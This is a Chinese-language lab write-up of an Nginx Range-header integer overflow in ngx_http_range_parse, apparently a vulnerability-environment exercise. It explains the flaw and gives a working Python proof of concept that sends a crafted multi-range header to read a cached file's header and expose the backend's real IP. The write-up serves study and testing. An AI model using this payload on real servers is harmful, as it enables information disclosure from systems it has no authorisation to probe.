漏洞影响
低危,造成信息泄露,暴露真实ip等 实验内容
漏洞原理
通过查看patch确定问题是由于对http header中range域处理不当造成,焦点在ngx_http_range_parse 函数中的循环:
HTTP头部range域的内容大约为Range: bytes=4096-8192bytes=-字符串指针p中即为“bytes=”后面的内容
这段代码是要把“-”两边的数字取出分别赋值给 start 和 end 变量标记读取文件的偏移和结束位置。
对于一般的页面文件这两个值怎么玩都没关系。但对于有额外头部的缓存文件若start值为负(合适的负值)那么就意味着缓存文件的头部也会被读取。
因此我们需令 suffix = 1由此可推知Range 的内容必然为Range:bytes=-xxx即省略初始 start 值的形式。
那么我们可以通过 Range 中设 end 值大于content_length(真正文件的长度),这样 start 就自动被程序修正为负值了。
但是在写利用过程中发现一个问题若 end 值很大那么 start 的绝对值也会很大会超过缓存文件的起始头部造成读取失败。若 end 值不够大那么换算下来 size = end – 1 >= content_length (end > content_length 见前文所述)就不能通过循环外面的检测:
if (size>content_length){ return NGXDECLINFD;
}
这样的话似乎无论设 end 为何值都无法达成利用了。继续跟进代码发现这个循环是个无条件循环,尾部为
if (*p++ !=’,’){ break; }
也就是说若 Range 域形如Range: bytes=start-end,start1-end1,…就还有机会继续完成利用。
我们可以构造一个 Range: bytes=-X, -Y
一大一小两个 end 值只需要控制前面一个 end 值小而后一个 end 值大从而实现 start 值和 size 值皆为负数控制 start 值负到一个合适的位置,那么就能成功利用读到缓存文件头部了。
POC:
访问http://your-ip:8080/,即可查看到Nginx默认页面,这个页面实际上是反向代理的8081端口的内容。
调用python3 poc.py http://your-ip:8080/,读取返回结果:
import sys
import requests
if len(sys.argv) < 2:
print("%s url" % (sys.argv[0]))
print("eg: python %s http://your-ip:8080/" % (sys.argv[0]))
sys.exit()
headers = {
'User-Agent': "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10240"
}
offset = 605
url = sys.argv[1]
file_len = len(requests.get(url, headers=headers).content)
n = file_len + offset
headers['Range'] = "bytes=-%d,-%d" % (
n, 0x8000000000000000 - n)
r = requests.get(url, headers=headers)
print(r.text)
参考链接:https://zhuanlan.zhihu.com/p/34155943
|